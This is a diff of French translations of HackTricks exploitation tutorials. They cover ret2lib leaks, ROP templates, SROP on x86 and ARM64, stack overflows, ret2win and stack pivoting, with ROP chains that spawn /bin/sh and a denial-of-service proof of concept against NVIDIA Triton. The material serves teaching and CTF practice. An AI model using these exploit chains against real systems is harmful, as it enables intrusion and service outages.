Vérifiez l'exemple à partir de :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
## Ret-into-printf (ou puts)
|
||||
|
||||
Cela permet de **fuiter des informations du processus** en appelant `printf`/`puts` avec des données spécifiques placées comme argument. Par exemple, mettre l'adresse de `puts` dans le GOT lors d'une exécution de `puts` **fuitera l'adresse de `puts` en mémoire**.
|
||||
Cela permet de **fuiter des informations du processus** en appelant `printf`/`puts` avec des données spécifiques placées comme argument. Par exemple, mettre l'adresse de `puts` dans le GOT dans une exécution de `puts` va **fuiter l'adresse de `puts` en mémoire**.
|
||||
|
||||
## Ret2printf
|
||||
|
||||
Cela signifie essentiellement abuser d'un **Ret2lib pour le transformer en une vulnérabilité de chaînes de format `printf`** en utilisant le `ret2lib` pour appeler printf avec les valeurs à exploiter (semble inutile mais possible) :
|
||||
Cela signifie essentiellement abuser d'un **Ret2lib pour le transformer en une vulnérabilité de chaînes de format `printf`** en utilisant le `ret2lib` pour appeler printf avec les valeurs à exploiter (cela semble inutile mais possible) :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
@ -136,16 +139,16 @@ Cela signifie essentiellement abuser d'un **Ret2lib pour le transformer en une v
|
||||
## Autres exemples et références
|
||||
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
- Ret2lib, donné une fuite à l'adresse d'une fonction dans libc, utilisant un gadget
|
||||
- Ret2lib, donné une fuite vers l'adresse d'une fonction dans libc, utilisant un gadget
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'au byte 0x00 du canary pour ensuite appeler puts et le fuiter. Avec le canary, un gadget ROP est créé pour appeler puts afin de fuiter l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`
|
||||
- 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'au byte 0x00 du canary pour ensuite appeler puts et le fuiter. Avec le canary, un gadget ROP est créé pour appeler puts afin de fuir l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 bits, ASLR activé, pas de canary, débordement de pile dans main depuis une fonction enfant. Gadget ROP pour appeler puts afin de fuiter l'adresse de puts depuis le GOT puis appeler un gadget.
|
||||
- 64 bits, ASLR activé, pas de canary, débordement de pile dans main depuis une fonction enfant. Gadget ROP pour appeler puts afin de fuir l'adresse de puts depuis le GOT puis appeler un gadget.
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
|
||||
- 64 bits, pas de pie, pas de canary, pas de relro, nx. Utilise la fonction write pour fuiter l'adresse de write (libc) et appelle un gadget.
|
||||
- 64 bits, pas de pie, pas de canary, pas de relro, nx. Utilise la fonction write pour fuir l'adresse de write (libc) et appelle un gadget.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
|
||||
- Utilise une chaîne de format pour fuiter le canary de la pile et un débordement de tampon pour appeler system (c'est dans le GOT) avec l'adresse de `/bin/sh`.
|
||||
- Utilise une chaîne de format pour fuir le canary de la pile et un débordement de tampon pour appeler system (c'est dans le GOT) avec l'adresse de `/bin/sh`.
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 bits, pas de relro, pas de canary, nx, pie. Abuse d'un mauvais indexage pour fuiter les adresses de libc et de heap depuis la pile. Abuse du débordement de tampon pour faire un ret2lib appelant `system('/bin/sh')` (l'adresse de heap est nécessaire pour contourner une vérification).
|
||||
- 32 bits, pas de relro, pas de canary, nx, pie. Abuse d'un mauvais indexage pour fuir les adresses de libc et de heap depuis la pile. Abuse du débordement de tampon pour faire un ret2lib appelant `system('/bin/sh')` (l'adresse de heap est nécessaire pour contourner une vérification).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -36,14 +36,13 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||||
|
||||
Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et fournissez les données nécessaires au script :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
|
||||
## 1- Trouver l'offset
|
||||
|
||||
Le modèle a besoin d'un offset avant de continuer avec l'exploit. Si un offset est fourni, il exécutera le code nécessaire pour le trouver (par défaut `OFFSET = ""`):
|
||||
Le modèle a besoin d'un offset avant de continuer avec l'exploit. Si un offset est fourni, il exécutera le code nécessaire pour le trouver (par défaut `OFFSET = ""`) :
|
||||
```bash
|
||||
###################
|
||||
### Find offset ###
|
||||
@ -58,7 +57,7 @@ r.sendline(payload)
|
||||
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||||
return
|
||||
```
|
||||
**Exécutez** `python template.py`, une console GDB s'ouvrira avec le programme en cours de plantage. À l'intérieur de cette **console GDB**, exécutez `x/wx $rsp` pour obtenir les **octets** qui allaient écraser le RIP. Enfin, obtenez le **décalage** en utilisant une console **python** :
|
||||
**Exécutez** `python template.py`, une console GDB s'ouvrira avec le programme en cours de plantage. Dans cette **console GDB**, exécutez `x/wx $rsp` pour obtenir les **octets** qui allaient écraser le RIP. Enfin, obtenez le **décalage** en utilisant une console **python** :
|
||||
```python
|
||||
from pwn import *
|
||||
cyclic_find(0x6161616b)
|
||||
@ -125,11 +124,11 @@ Pour ce faire, la ligne la plus importante du code exécuté est :
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Cela enverra quelques octets jusqu'à ce que **l'écrasement** du **RIP** soit possible : `OFFSET`.\
|
||||
Ensuite, il définira l'**adresse** du gadget `POP_RDI` afin que la prochaine adresse (`FUNC_GOT`) soit enregistrée dans le registre **RDI**. Cela est dû au fait que nous voulons **appeler puts** en **passant** l'**adresse** de `PUTS_GOT` car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par `PUTS_GOT`.\
|
||||
Après cela, `PUTS_PLT` sera appelé (avec `PUTS_GOT` à l'intérieur du **RDI**) afin que puts **lise le contenu** à l'intérieur de `PUTS_GOT` (**l'adresse de la fonction puts en mémoire**) et **l'affiche**.\
|
||||
Ensuite, il définira l'**adresse** du gadget `POP_RDI` afin que la prochaine adresse (`FUNC_GOT`) soit enregistrée dans le registre **RDI**. Cela est dû au fait que nous voulons **appeler puts** **en lui passant** l'**adresse** de `PUTS_GOT` car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par `PUTS_GOT`.\
|
||||
Après cela, `PUTS_PLT` sera appelé (avec `PUTS_GOT` à l'intérieur du **RDI**) afin que puts **lise le contenu** à l'intérieur de `PUTS_GOT` (**l'adresse de la fonction puts en mémoire**) et **l'imprime**.\
|
||||
Enfin, **la fonction main est appelée à nouveau** afin que nous puissions exploiter le débordement à nouveau.
|
||||
|
||||
De cette manière, nous avons **trompé la fonction puts** pour **afficher** l'**adresse** en **mémoire** de la fonction **puts** (qui se trouve dans la bibliothèque **libc**). Maintenant que nous avons cette adresse, nous pouvons **chercher quelle version de libc est utilisée**.
|
||||
De cette manière, nous avons **trompé la fonction puts** pour **imprimer** l'**adresse** en **mémoire** de la fonction **puts** (qui se trouve dans la bibliothèque **libc**). Maintenant que nous avons cette adresse, nous pouvons **chercher quelle version de libc est utilisée**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -219,7 +218,7 @@ p.sendline(rop2)
|
||||
p.interactive() #Interact with the conenction
|
||||
```
|
||||
Expliquons ce dernier ROP.\
|
||||
Le dernier ROP (`rop1`) a de nouveau appelé la fonction principale, puis nous pouvons **exploiter à nouveau** le **débordement** (c'est pourquoi l'`OFFSET` est ici encore une fois). Ensuite, nous voulons appeler `POP_RDI` pointant vers l'**adresse** de _"/bin/sh"_ (`BINSH`) et appeler la fonction **system** (`SYSTEM`) car l'adresse de _"/bin/sh"_ sera passée en paramètre.\
|
||||
Le dernier ROP (`rop1`) a de nouveau appelé la fonction principale, puis nous pouvons **exploiter à nouveau** le **débordement** (c'est pourquoi le `OFFSET` est ici encore une fois). Ensuite, nous voulons appeler `POP_RDI` pointant vers l'**adresse** de _"/bin/sh"_ (`BINSH`) et appeler la fonction **system** (`SYSTEM`) car l'adresse de _"/bin/sh"_ sera passée en paramètre.\
|
||||
Enfin, l'**adresse de la fonction exit** est **appelée** afin que le processus **se termine proprement** et qu'aucune alerte ne soit générée.
|
||||
|
||||
**De cette façon, l'exploit exécutera un shell _/bin/sh_.**
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
**`Sigreturn`** est un **syscall** spécial principalement utilisé pour nettoyer après qu'un gestionnaire de signal a terminé son exécution. Les signaux sont des interruptions envoyées à un programme par le système d'exploitation, souvent pour indiquer qu'une situation exceptionnelle s'est produite. Lorsqu'un programme reçoit un signal, il met temporairement en pause son travail actuel pour gérer le signal avec un **gestionnaire de signal**, une fonction spéciale conçue pour traiter les signaux.
|
||||
|
||||
Après que le gestionnaire de signal a terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **retourner du gestionnaire de signal** et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signal.
|
||||
Après que le gestionnaire de signal ait terminé, le programme doit **reprendre son état précédent** comme si rien ne s'était passé. C'est là que **`sigreturn`** entre en jeu. Il aide le programme à **retourner du gestionnaire de signal** et restaure l'état du programme en nettoyant le cadre de pile (la section de mémoire qui stocke les appels de fonction et les variables locales) qui a été utilisé par le gestionnaire de signal.
|
||||
|
||||
La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` dépile ces valeurs de la pile**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
|
||||
La partie intéressante est comment **`sigreturn`** restaure l'état du programme : il le fait en stockant **toutes les valeurs des registres du CPU sur la pile.** Lorsque le signal n'est plus bloqué, **`sigreturn` retire ces valeurs de la pile**, réinitialisant effectivement les registres du CPU à leur état avant que le signal ne soit traité. Cela inclut le registre du pointeur de pile (RSP), qui pointe vers le sommet actuel de la pile.
|
||||
|
||||
> [!CAUTION]
|
||||
> Appeler le syscall **`sigreturn`** à partir d'une chaîne ROP et **ajouter les valeurs des registres** que nous aimerions charger dans la **pile** permet de **contrôler** toutes les valeurs des registres et donc de **appeler** par exemple le syscall `execve` avec `/bin/sh`.
|
||||
@ -128,7 +128,7 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
|
||||
- Binaire d'assemblage qui permet de **écrire sur la pile** et appelle ensuite le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/index.html) via une structure **sigreturn** et de lire le flag qui se trouve dans la mémoire du binaire.
|
||||
- Binaire d'assemblage qui permet de **écrire sur la pile** et appelle ensuite le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/index.html) via une structure **sigreturn** et de lire le drapeau qui se trouve dans la mémoire du binaire.
|
||||
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
|
||||
- Binaire d'assemblage qui permet de **écrire sur la pile** et appelle ensuite le syscall **`sigreturn`**. Il est possible d'écrire sur la pile un [**ret2syscall**](../rop-syscall-execv/index.html) via une structure **sigreturn** (le binaire contient la chaîne `/bin/sh`).
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
|
@ -167,12 +167,14 @@ p.interactive()
|
||||
```
|
||||
Pour plus d'informations sur vdso, consultez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../ret2vdso.md
|
||||
{{#endref}}
|
||||
|
||||
Et pour contourner l'adresse de `/bin/sh`, vous pourriez créer plusieurs variables d'environnement pointant vers celle-ci, pour plus d'informations :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../common-binary-protections-and-bypasses/aslr/
|
||||
{{#endref}}
|
||||
@ -181,7 +183,7 @@ Et pour contourner l'adresse de `/bin/sh`, vous pourriez créer plusieurs variab
|
||||
|
||||
## Trouver automatiquement des gadgets `sigreturn` (2023-2025)
|
||||
|
||||
Sur les distributions modernes, le trampoline `sigreturn` est toujours exporté par la page **vDSO**, mais le décalage exact peut varier selon les versions du noyau et les options de compilation telles que BTI (`+branch-protection`) ou PAC. L'automatisation de sa découverte évite de coder en dur des décalages :
|
||||
Sur les distributions modernes, le trampoline `sigreturn` est toujours exporté par la page **vDSO**, mais le décalage exact peut varier selon les versions du noyau et les options de compilation telles que BTI (`+branch-protection`) ou PAC. L'automatisation de sa découverte évite de coder en dur les décalages :
|
||||
```bash
|
||||
# With ROPgadget ≥ 7.4
|
||||
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn
|
||||
@ -191,9 +193,9 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
|
||||
```
|
||||
Les deux outils comprennent les encodages **AArch64** et listeront les séquences candidates `mov x8, 0x8b ; svc #0` qui peuvent être utilisées comme *gadget SROP*.
|
||||
|
||||
> Remarque : Lorsque les binaires sont compilés avec **BTI**, la première instruction de chaque cible de branchement indirect valide est `bti c`. Les trampolines `sigreturn` placés par le linker incluent déjà le bon pad d'atterrissage BTI, donc le gadget reste utilisable depuis du code non privilégié.
|
||||
> Remarque : Lorsque les binaires sont compilés avec **BTI**, la première instruction de chaque cible de branchement indirect valide est `bti c`. Les trampolines `sigreturn` placés par le linker incluent déjà le bon pad de réception BTI, donc le gadget reste utilisable depuis du code non privilégié.
|
||||
|
||||
## Chaîner SROP avec ROP (pivot via `mprotect`)
|
||||
## Chaînage SROP avec ROP (pivot via `mprotect`)
|
||||
|
||||
`rt_sigreturn` nous permet de contrôler *tous* les registres à usage général et `pstate`. Un modèle courant sur x86 est : 1) utiliser SROP pour appeler `mprotect`, 2) pivoter vers une nouvelle pile exécutable contenant du shell-code. La même idée fonctionne sur ARM64 :
|
||||
```python
|
||||
@ -215,7 +217,7 @@ Linux 5.16 a introduit une validation plus stricte des cadres de signaux en espa
|
||||
* Le mot réservé dans `struct rt_sigframe` doit être zéro.
|
||||
* Chaque pointeur dans l'enregistrement *extra_context* est aligné et pointe à l'intérieur de l'espace d'adresses utilisateur.
|
||||
|
||||
`pwntools>=4.10` crée automatiquement des cadres conformes, mais si vous les construisez manuellement, assurez-vous d'initialiser à zéro *reserved* et d'omettre l'enregistrement SVE à moins que vous n'en ayez vraiment besoin—sinon `rt_sigreturn` livrera `SIGSEGV` au lieu de retourner.
|
||||
`pwntools>=4.10` crée automatiquement des cadres conformes, mais si vous les construisez manuellement, assurez-vous d'initialiser à zéro *reserved* et d'omettre l'enregistrement SVE à moins que vous n'en ayez vraiment besoin—sinon `rt_sigreturn` renverra `SIGSEGV` au lieu de retourner.
|
||||
|
||||
À partir d'Android 14 et de Fedora 38, l'espace utilisateur est compilé avec **PAC** (*Pointer Authentication*) et **BTI** activés par défaut (`-mbranch-protection=standard`). *SROP* lui-même n'est pas affecté car le noyau écrase `PC` directement à partir du cadre créé, contournant le LR authentifié sauvegardé sur la pile ; cependant, toute **chaîne ROP subséquente** qui effectue des branches indirectes doit sauter vers des instructions activées par BTI ou des adresses PACées. Gardez cela à l'esprit lors du choix des gadgets.
|
||||
|
||||
@ -224,6 +226,6 @@ Les Shadow-Call-Stacks introduits dans ARMv8.9 (et déjà activés sur ChromeOS
|
||||
## Références
|
||||
|
||||
* [Documentation sur la gestion des signaux Linux arm64](https://docs.kernel.org/arch/arm64/signal.html)
|
||||
* [LWN – "La protection des branches AArch64 arrive dans GCC et glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||
* [LWN – "La protection des branches AArch64 arrive à GCC et glibc" (2023)](https://lwn.net/Articles/915041/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Qu'est-ce qu'un débordement de pile
|
||||
## Qu'est-ce qu'un Stack Overflow
|
||||
|
||||
Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données dans la pile que ce qui lui est alloué pour les contenir. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle, et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
|
||||
Un **stack overflow** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la pile qu'il n'est alloué pour en contenir. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, une perturbation du flux de contrôle, et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
|
||||
|
||||
Le principal problème de cet écrasement est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ceux-ci et **contrôler le flux d'exécution du programme**.
|
||||
Le principal problème de cette écriture est que le **pointeur d'instruction sauvegardé (EIP/RIP)** et le **pointeur de base sauvegardé (EBP/RBP)** pour revenir à la fonction précédente sont **stockés sur la pile**. Par conséquent, un attaquant pourra écraser ceux-ci et **contrôler le flux d'exécution du programme**.
|
||||
|
||||
La vulnérabilité survient généralement parce qu'une fonction **copie dans la pile plus d'octets que la quantité qui lui est allouée**, permettant ainsi d'écraser d'autres parties de la pile.
|
||||
|
||||
@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
|
||||
```
|
||||
### Trouver les offsets des débordements de pile
|
||||
|
||||
La façon la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
|
||||
La manière la plus courante de trouver des débordements de pile est de donner une très grande entrée de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et de s'attendre à un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
|
||||
|
||||
De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver l'offset jusqu'à ce qu'il soit possible de **surcharger l'adresse de retour**, pour cela, on utilise généralement une **séquence de De Bruijn.** Qui pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_ est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur _n_ apparaît exactement une fois** en tant que sous-séquence contiguë.
|
||||
|
||||
De cette façon, au lieu de devoir déterminer manuellement quel offset est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver l'offset des octets qui ont fini par la surcharger.
|
||||
De cette manière, au lieu de devoir déterminer manuellement quel offset est nécessaire pour contrôler l'EIP, il est possible d'utiliser comme remplissage l'une de ces séquences et ensuite de trouver l'offset des octets qui ont fini par la surcharger.
|
||||
|
||||
Il est possible d'utiliser **pwntools** pour cela :
|
||||
```python
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### Techniques ROP & Ret2...
|
||||
|
||||
Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **Pas de pile exécutable (NX)**. Et elle permet d'effectuer plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :
|
||||
Cette technique est le cadre fondamental pour contourner la principale protection de la technique précédente : **Pile non exécutable (NX)**. Et elle permet d'effectuer plusieurs autres techniques (ret2lib, ret2syscall...) qui finiront par exécuter des commandes arbitraires en abusant des instructions existantes dans le binaire :
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -97,7 +97,7 @@ Il existe plusieurs protections essayant de prévenir l'exploitation des vulnér
|
||||
|
||||
### Exemple du monde réel : CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Une bonne démonstration de pourquoi **`sscanf` ne devrait jamais être considéré comme fiable pour analyser des entrées non fiables** est apparue en 2025 dans l'appareil SSL-VPN SMA100 de SonicWall. La routine vulnérable à l'intérieur de `/usr/src/EasyAccess/bin/httpd` tente d'extraire la version et le point de terminaison de toute URI qui commence par `/__api__/`:
|
||||
Une bonne démonstration de pourquoi **`sscanf` ne devrait jamais être considéré comme fiable pour analyser des entrées non fiables** est apparue en 2025 dans l'appareil SSL-VPN SMA100 de SonicWall. La routine vulnérable à l'intérieur de `/usr/src/EasyAccess/bin/httpd` tente d'extraire la version et le point de terminaison de toute URI qui commence par `/__api__/` :
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
@ -123,7 +123,7 @@ Bien que les stack canaries abortent le processus, un attaquant obtient toujours
|
||||
### Exemple du monde réel : CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
Le serveur d'inférence Triton de NVIDIA (≤ v25.06) contenait plusieurs **débordements de pile** accessibles via son API HTTP.
|
||||
Le modèle vulnérable apparaissait à plusieurs reprises dans `http_server.cc` et `sagemaker_server.cc` :
|
||||
Le modèle vulnérable apparaissait de manière répétée dans `http_server.cc` et `sagemaker_server.cc` :
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
if (n > 0) {
|
||||
@ -135,7 +135,7 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) renvoie le **nombre de segments de tampon internes** qui composent le corps de la requête HTTP actuelle.
|
||||
2. Chaque segment provoque l'allocation d'un **`evbuffer_iovec` de 16 octets** sur la **pile** via `alloca()` – **sans aucune limite supérieure**.
|
||||
3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être divisée en **des centaines de milliers de morceaux de 6 octets** (`"1\r\nA\r\n"`). Cela fait croître `n` de manière illimitée jusqu'à ce que la pile soit épuisée.
|
||||
3. En abusant de **HTTP _chunked transfer-encoding_**, un client peut forcer la requête à être divisée en **des centaines de milliers de morceaux de 6 octets** (`"1\r\nA\r\n"`). Cela fait que `n` croît de manière illimitée jusqu'à ce que la pile soit épuisée.
|
||||
|
||||
#### Proof-of-Concept (DoS)
|
||||
```python
|
||||
@ -161,7 +161,7 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Une requête d'environ 3 Mo suffit à écraser l'adresse de retour sauvegardée et **faire planter** le démon sur une build par défaut.
|
||||
Une requête d'environ 3 Mo suffit à écraser l'adresse de retour sauvegardée et **faire planter** le démon sur une version par défaut.
|
||||
|
||||
#### Patch & Mitigation
|
||||
La version 25.07 remplace l'allocation de pile non sécurisée par un **`std::vector` soutenu par le tas** et gère gracieusement `std::bad_alloc`:
|
||||
|
@ -8,7 +8,7 @@ Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Ca
|
||||
|
||||
### Exemple C
|
||||
|
||||
Considérons un programme C simple avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
|
||||
Considérez un programme C simple avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
- `-no-pie`: Désactiver l'exécutable indépendant de la position pour s'assurer que l'adresse de la fonction `win` ne change pas.
|
||||
- `-o vulnerable`: Nommer le fichier de sortie `vulnerable`.
|
||||
|
||||
### Exploit Python utilisant Pwntools
|
||||
### Python Exploit utilisant Pwntools
|
||||
|
||||
Pour l'exploit, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
|
||||
```python
|
||||
|
@ -38,7 +38,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
|
||||
Cet exemple a été créé en utilisant [**GEF**](https://github.com/bata24/gef) :
|
||||
|
||||
Démarrez gdb avec gef, créez un motif et utilisez-le :
|
||||
Lancez gdb avec gef, créez un motif et utilisez-le :
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
@ -46,7 +46,7 @@ run
|
||||
```
|
||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 essaiera de revenir à l'adresse dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le décalage du motif :
|
||||
arm64 essaiera de retourner à l'adresse dans le registre x30 (qui a été compromis), nous pouvons utiliser cela pour trouver le décalage du motif :
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Cette technique exploite la capacité à manipuler le **Base Pointer (EBP/RBP)** pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du pointeur de cadre et de la séquence d'instructions **`leave; ret`**.
|
||||
|
||||
Pour rappel, sur x86/x86-64, **`leave`** est équivalent à :
|
||||
Pour rappel, sur x86/x86-64 **`leave`** est équivalent à :
|
||||
```
|
||||
mov rsp, rbp ; mov esp, ebp on x86
|
||||
pop rbp ; pop ebp on x86
|
||||
@ -22,7 +22,7 @@ Et comme le **EBP/RBP sauvegardé est dans la pile** avant le EIP/RIP sauvegard
|
||||
|
||||
Cette technique est particulièrement utile lorsque vous pouvez **modifier le EBP/RBP sauvegardé mais n'avez aucun moyen direct de changer EIP/RIP**. Elle exploite le comportement de l'épilogue de fonction.
|
||||
|
||||
Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **fake EBP** dans la pile qui pointe vers une zone en mémoire où se trouve l'adresse de votre shellcode/chaîne ROP (plus 8 octets sur amd64 / 4 octets sur x86 pour tenir compte du `pop`), vous pouvez contrôler indirectement RIP. Lorsque la fonction retourne, `leave` définit RSP à l'emplacement conçu et le `pop rbp` suivant diminue RSP, **le faisant pointer efficacement vers une adresse stockée par l'attaquant là-bas**. Ensuite, `ret` utilisera cette adresse.
|
||||
Si, pendant l'exécution de `fvuln`, vous parvenez à injecter un **EBP factice** dans la pile qui pointe vers une zone de mémoire où se trouve l'adresse de votre shellcode/chaîne ROP (plus 8 octets sur amd64 / 4 octets sur x86 pour tenir compte du `pop`), vous pouvez contrôler indirectement RIP. Lorsque la fonction retourne, `leave` définit RSP à l'emplacement conçu et le `pop rbp` suivant diminue RSP, **le faisant pointer effectivement vers une adresse stockée par l'attaquant là-bas**. Ensuite, `ret` utilisera cette adresse.
|
||||
|
||||
Notez comment vous **devez connaître 2 adresses** : l'adresse où ESP/RSP va aller, et la valeur stockée à cette adresse que `ret` va consommer.
|
||||
|
||||
@ -33,15 +33,15 @@ Tout d'abord, vous devez connaître une **adresse où vous pouvez écrire des do
|
||||
Ensuite, vous devez choisir l'adresse utilisée par `ret` qui **transférera l'exécution**. Vous pourriez utiliser :
|
||||
|
||||
- Une adresse valide [**ONE_GADGET**](https://github.com/david942j/one_gadget).
|
||||
- L'adresse de **`system()`** suivie du retour approprié et des arguments (sur x86 : `ret` cible = `&system`, puis 4 octets de junk, puis `&"/bin/sh"`).
|
||||
- L'adresse de **`system()`** suivie du retour approprié et des arguments (sur x86 : cible `ret` = `&system`, puis 4 octets de junk, puis `&"/bin/sh"`).
|
||||
- L'adresse d'un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) suivie de shellcode en ligne.
|
||||
- Une chaîne [**ROP**](../rop-return-oriented-programing/index.html) mise en mémoire écrivable.
|
||||
|
||||
N'oubliez pas qu'avant l'une de ces adresses dans la zone contrôlée, il doit y avoir **de l'espace pour le `pop ebp/rbp`** de `leave` (8B sur amd64, 4B sur x86). Vous pouvez abuser de ces octets pour définir un **deuxième fake EBP** et garder le contrôle après le retour de la première appel.
|
||||
